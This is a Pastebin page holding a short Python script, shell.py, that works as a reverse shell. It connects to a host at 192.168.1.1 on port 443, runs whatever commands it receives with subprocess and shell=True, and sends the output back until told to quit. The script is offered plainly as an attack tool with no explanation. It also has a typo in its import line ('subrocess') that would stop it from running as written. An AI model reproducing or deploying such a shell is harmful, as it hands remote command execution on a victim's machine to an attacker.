Advertisement
rfmonk

shell.py

Jan 10th, 2014
89
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 0.51 KB | None | 0 0
  1. #!/usr/bin/env python
  2.  
  3.  
  4. import subrocess
  5. import socket
  6.  
  7. HOST = '192.168.1.1'
  8. PORT = 443
  9. s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  10.  
  11. s.connect((HOST, PORT))
  12. s.send('Hello there!')
  13.  
  14. while 1:
  15.     data = s.recv(1024)
  16.     if data == 'quit': break
  17.  
  18.     proc = subprocess.Popen(data, shell=True, stdout=subprocess.PIPE,\
  19.                             stderr=subprocess.PIPE, stdin=subprocess.PIPE)
  20.  
  21.     stdoutput = proc.stdout.read() + proc.stderr.read()
  22.  
  23.     s.send(stdoutput)
  24.  
  25. # Exit the loop
  26. s.send('Bye now.')
  27. s.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement